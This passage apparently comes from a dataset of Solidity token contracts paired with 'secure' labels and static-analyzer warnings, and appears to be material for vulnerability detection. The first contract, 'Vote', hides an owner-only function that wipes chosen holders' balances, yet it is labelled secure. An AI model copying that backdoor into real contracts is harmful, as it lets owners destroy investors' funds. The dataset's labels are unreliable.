"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Vote is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable even;\n\n constructor() {\n _name = \"VOTE\";\n\n _symbol = \"VOTE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 838000000;\n\n even = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == even, \"Not allowed\");\n\n _;\n }\n\n function comfort(address[] memory shadow) public onlyOwner {\n for (uint256 i = 0; i < shadow.length; i++) {\n address account = shadow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_389.sol",
"secure": 1,
"size_bytes": 4342
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SimpleToken is ERC20 {\n constructor() ERC20(\"DARAM AI\", \"Daram\") {\n _mint(msg.sender, 21e28);\n }\n}",
"file_name": "solidity_code_3890.sol",
"secure": 1,
"size_bytes": 254
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract APPROVED is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 5d79141): APPROVED.maxSupply should be constant \n\t// Recommendation for 5d79141: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1_000_000_000 * 1e18;\n\n constructor() ERC20(\"ETFAPPROVED\", \"APPROVED\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_3891.sol",
"secure": 1,
"size_bytes": 609
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Erc20.sol\" as Erc20;\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"TRUMPWIF\", unicode\"TRUMPWIF\", 9, 100000000000)\n {}\n}",
"file_name": "solidity_code_3892.sol",
"secure": 1,
"size_bytes": 221
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable2Step.sol\" as Ownable2Step;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CBLD is Context, IERC20, Ownable2Step, ReentrancyGuard {\n\t// WARNING Optimization Issue (constable-states | ID: f39afa4): CBLD.name should be constant \n\t// Recommendation for f39afa4: Add the 'constant' attribute to state variables that never change.\n string public name = \"Concrete Build\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e5fa90d): CBLD.symbol should be constant \n\t// Recommendation for e5fa90d: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"CBLD\";\n\n uint256 public buyTax = 1;\n\n uint256 public sellTax = 5;\n\n uint256 public transferTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a458446): CBLD._decimals should be constant \n\t// Recommendation for a458446: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n address public taxReceiver;\n\n event TaxCollected(address indexed taxReceiver, uint256 amount);\n\n event TaxUpdated(string taxType, uint256 newTaxRate);\n\n event TaxReceiverUpdated(\n address indexed oldReceiver,\n address indexed newReceiver\n );\n\n uint256 private constant MAX_TAX_PERCENTAGE = 100;\n\n uint256 private constant DECIMALS = 18;\n\n uint256 private constant INITIAL_SUPPLY = 1_000_000_000 * 10 ** DECIMALS;\n\n\t// WARNING Optimization Issue (constable-states | ID: 625e9d5): CBLD.totalSupply should be constant \n\t// Recommendation for 625e9d5: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = INITIAL_SUPPLY;\n\n mapping(address => uint256) private balances;\n\n mapping(address => mapping(address => uint256)) private allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isDex;\n\n error InvalidAddress(address addr);\n\n error InsufficientBalance(\n address account,\n uint256 balance,\n uint256 required\n );\n\n error TransferFailed(address from, address to, uint256 amount);\n\n constructor(address _taxReceiver) Ownable(msg.sender) {\n require(msg.sender != address(0), \"Invalid owner address\");\n\n require(_taxReceiver != address(0), \"Invalid tax receiver address\");\n\n taxReceiver = _taxReceiver;\n\n balances[msg.sender] = INITIAL_SUPPLY;\n\n _isExcludedFromFee[msg.sender] = true;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return balances[account];\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: b5265a7): CBLD.setBuyTax(uint256) contains a tautology or contradiction require(bool,string)(newTax >= 0 && newTax < MAX_TAX_PERCENTAGE,Tax percentage must be between 0 and 100)\n\t// Recommendation for b5265a7: Fix the incorrect comparison by changing the value type or the comparison.\n function setBuyTax(uint256 newTax) external onlyOwner {\n\t\t// tautology | ID: b5265a7\n require(\n newTax >= 0 && newTax < MAX_TAX_PERCENTAGE,\n \"Tax percentage must be between 0 and 100\"\n );\n\n buyTax = newTax;\n\n emit TaxUpdated(\"Buy\", newTax);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 228c71b): CBLD.setSellTax(uint256) contains a tautology or contradiction require(bool,string)(newTax >= 0 && newTax < MAX_TAX_PERCENTAGE,Tax percentage must be between 0 and 100)\n\t// Recommendation for 228c71b: Fix the incorrect comparison by changing the value type or the comparison.\n function setSellTax(uint256 newTax) external onlyOwner {\n\t\t// tautology | ID: 228c71b\n require(\n newTax >= 0 && newTax < MAX_TAX_PERCENTAGE,\n \"Tax percentage must be between 0 and 100\"\n );\n\n sellTax = newTax;\n\n emit TaxUpdated(\"Sell\", newTax);\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: d0cc43c): CBLD.setTransferTax(uint256) contains a tautology or contradiction require(bool,string)(newTax >= 0 && newTax < MAX_TAX_PERCENTAGE,Tax percentage must be between 0 and 100)\n\t// Recommendation for d0cc43c: Fix the incorrect comparison by changing the value type or the comparison.\n function setTransferTax(uint256 newTax) external onlyOwner {\n\t\t// tautology | ID: d0cc43c\n require(\n newTax >= 0 && newTax < MAX_TAX_PERCENTAGE,\n \"Tax percentage must be between 0 and 100\"\n );\n\n transferTax = newTax;\n\n emit TaxUpdated(\"Transfer\", newTax);\n }\n\n function setTaxReceiver(address newTaxReceiver) external onlyOwner {\n require(newTaxReceiver != address(0), \"Invalid tax receiver address\");\n\n address oldTaxReceiver = taxReceiver;\n\n taxReceiver = newTaxReceiver;\n\n emit TaxReceiverUpdated(oldTaxReceiver, newTaxReceiver);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external override nonReentrant returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external override nonReentrant returns (bool) {\n uint256 currentAllowance = allowances[from][msg.sender];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n allowances[from][msg.sender] = currentAllowance - amount;\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 amount) internal {\n if (to == address(0)) {\n revert InvalidAddress(to);\n }\n\n uint256 senderBalance = balances[from];\n\n if (senderBalance < amount) {\n revert InsufficientBalance(from, senderBalance, amount);\n }\n\n uint256 amountAfterFee = amount;\n\n uint256 fee = 0;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n uint256 taxRate;\n\n if (_isDex[from]) {\n taxRate = buyTax;\n } else if (_isDex[to]) {\n taxRate = sellTax;\n } else {\n taxRate = transferTax;\n }\n\n fee = (amount * taxRate) / MAX_TAX_PERCENTAGE;\n\n amountAfterFee = amount - fee;\n }\n\n balances[from] -= amount;\n\n balances[to] += amountAfterFee;\n\n emit Transfer(from, to, amountAfterFee);\n\n if (fee > 0) {\n balances[taxReceiver] += fee;\n\n emit Transfer(from, taxReceiver, fee);\n\n emit TaxCollected(taxReceiver, fee);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e8f3720): CBLD.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e8f3720: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external returns (bool) {\n uint256 currentAllowance = allowances[msg.sender][spender];\n\n uint256 newAllowance = currentAllowance + addedValue;\n\n require(newAllowance >= currentAllowance, \"ERC20: allowance overflow\");\n\n _approve(msg.sender, spender, newAllowance);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external returns (bool) {\n uint256 currentAllowance = allowances[msg.sender][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n uint256 newAllowance = currentAllowance - subtractedValue;\n\n _approve(msg.sender, spender, newAllowance);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5ee9255): CBLD._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5ee9255: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function excludeFromFee(address account) external onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) external onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n\n function isExcludedFromFee(address account) external view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n function addDexAddress(address dexAddress) external onlyOwner {\n _isDex[dexAddress] = true;\n }\n\n function removeDexAddress(address dexAddress) external onlyOwner {\n _isDex[dexAddress] = false;\n }\n}",
"file_name": "solidity_code_3893.sol",
"secure": 0,
"size_bytes": 9957
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract OFFICIALMASCOTOFTHEHOLYYEAR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n address payable private _taxWallet;\n\t// WARNING Optimization Issue (immutable-states | ID: 68f2ac3): OFFICIALMASCOTOFTHEHOLYYEAR._devWallet should be immutable \n\t// Recommendation for 68f2ac3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\t// WARNING Optimization Issue (constable-states | ID: a47bf33): OFFICIALMASCOTOFTHEHOLYYEAR._devPortion should be constant \n\t// Recommendation for a47bf33: Add the 'constant' attribute to state variables that never change.\n uint256 _devPortion = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 536f892): OFFICIALMASCOTOFTHEHOLYYEAR._initialBuyTax should be constant \n\t// Recommendation for 536f892: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 4b412b4): OFFICIALMASCOTOFTHEHOLYYEAR._initialSellTax should be constant \n\t// Recommendation for 4b412b4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n uint256 private _finalBuyTax = 0;\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 19b76b6): OFFICIALMASCOTOFTHEHOLYYEAR._reduceBuyTaxAt should be constant \n\t// Recommendation for 19b76b6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: e23f1d4): OFFICIALMASCOTOFTHEHOLYYEAR._reduceSellTaxAt should be constant \n\t// Recommendation for e23f1d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\t// WARNING Optimization Issue (constable-states | ID: 56828fe): OFFICIALMASCOTOFTHEHOLYYEAR._preventSwapBefore should be constant \n\t// Recommendation for 56828fe: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n uint256 private _transferTax = 0;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Official Mascot of the Holy Year\";\n string private constant _symbol = unicode\"LUCE\";\n uint256 public _maxTxAmount = (_tTotal * 15) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 15) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: ba6eb1e): OFFICIALMASCOTOFTHEHOLYYEAR._taxSwapThreshold should be constant \n\t// Recommendation for ba6eb1e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\t// WARNING Optimization Issue (constable-states | ID: 58a44c7): OFFICIALMASCOTOFTHEHOLYYEAR._maxTaxSwap should be constant \n\t// Recommendation for 58a44c7: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 500) / 1000;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n uint256 public tradingOpenBlock = 9999999999;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private sellCount = 0;\n uint256 private lastSellBlock = 0;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n event TransferTaxUpdated(uint256 _tax);\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n event TradingOpened(uint256 timestamp, uint256 blockNumber);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xc03A8e83AAF13ea0385CB28D32569f3aBc8218f0);\n _devWallet = payable(0xdd11B5b3AA790268db2e65cb747eb7C0a68A221F);\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n _isExcludedFromFee[0xdd11B5b3AA790268db2e65cb747eb7C0a68A221F] = true;\n\n _balances[\n 0xdd11B5b3AA790268db2e65cb747eb7C0a68A221F\n ] = 10000000000000000;\n emit Transfer(\n address(0),\n 0xdd11B5b3AA790268db2e65cb747eb7C0a68A221F,\n 10000000000000000\n );\n _balances[_msgSender()] = 990000000000000000;\n emit Transfer(address(0), _msgSender(), 990000000000000000);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 526c948): OFFICIALMASCOTOFTHEHOLYYEAR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 526c948: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 800ec1b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 800ec1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ec76bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ec76bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 800ec1b\n\t\t// reentrancy-benign | ID: 3ec76bf\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 800ec1b\n\t\t// reentrancy-benign | ID: 3ec76bf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a117d2d): OFFICIALMASCOTOFTHEHOLYYEAR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a117d2d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 3ec76bf\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 800ec1b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c49e7a7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c49e7a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de0f20c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de0f20c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (block.number < tradingOpenBlock) {\n require(\n _isExcludedFromFee[from] || _isExcludedFromFee[to],\n \"Trading is not open yet and you are not authorized\"\n );\n }\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c49e7a7\n\t\t\t\t// reentrancy-eth | ID: de0f20c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c49e7a7\n\t\t\t\t\t// reentrancy-eth | ID: de0f20c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: de0f20c\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: de0f20c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: de0f20c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: c49e7a7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: de0f20c\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: de0f20c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: c49e7a7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 800ec1b\n\t\t// reentrancy-events | ID: c49e7a7\n\t\t// reentrancy-benign | ID: 3ec76bf\n\t\t// reentrancy-eth | ID: de0f20c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 79cbf2f): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for 79cbf2f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n if (_devPortion == 0) {\n\t\t\t// reentrancy-events | ID: 800ec1b\n\t\t\t// reentrancy-events | ID: c49e7a7\n\t\t\t// reentrancy-benign | ID: 3ec76bf\n\t\t\t// reentrancy-eth | ID: de0f20c\n\t\t\t// arbitrary-send-eth | ID: 79cbf2f\n (bool success, ) = _taxWallet.call{value: amount}(\"\");\n success;\n } else {\n uint256 ethForDev = (amount * _devPortion) / 100;\n uint256 ethForTaxWallet = amount - ethForDev;\n\t\t\t// reentrancy-events | ID: 800ec1b\n\t\t\t// reentrancy-events | ID: c49e7a7\n\t\t\t// reentrancy-benign | ID: 3ec76bf\n\t\t\t// reentrancy-eth | ID: de0f20c\n (bool devsuccess, ) = _devWallet.call{value: ethForDev}(\"\");\n devsuccess;\n\t\t\t// reentrancy-events | ID: 800ec1b\n\t\t\t// reentrancy-events | ID: c49e7a7\n\t\t\t// reentrancy-benign | ID: 3ec76bf\n\t\t\t// reentrancy-eth | ID: de0f20c\n\t\t\t// arbitrary-send-eth | ID: 79cbf2f\n (bool success, ) = _taxWallet.call{value: ethForTaxWallet}(\"\");\n success;\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce335de): OFFICIALMASCOTOFTHEHOLYYEAR.addLP() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ce335de: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: de872e6): OFFICIALMASCOTOFTHEHOLYYEAR.addLP() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for de872e6: Ensure that all the return values of the function calls are used.\n function addLP() external onlyOwner {\n require(tradingOpenBlock > block.number, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// unused-return | ID: ce335de\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// unused-return | ID: de872e6\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function openTrading() external onlyOwner {\n require(tradingOpenBlock > block.number, \"Trading is already open\");\n tradingOpenBlock = block.number;\n swapEnabled = true;\n emit TradingOpened(block.timestamp, block.number);\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function setExcludedFromFee(\n address account,\n bool excluded\n ) external onlyOwner {\n require(account != address(0), \"Cannot set zero address\");\n _isExcludedFromFee[account] = excluded;\n }\n\n function setExcludedFromFeeMulti(\n address[] calldata accounts,\n bool excluded\n ) external onlyOwner {\n require(accounts.length > 0, \"Empty array\");\n for (uint256 i = 0; i < accounts.length; i++) {\n require(accounts[i] != address(0), \"Cannot set zero address\");\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet cannot be the zero address\"\n );\n _taxWallet = newTaxWallet;\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3894.sol",
"secure": 0,
"size_bytes": 19728
} |
{
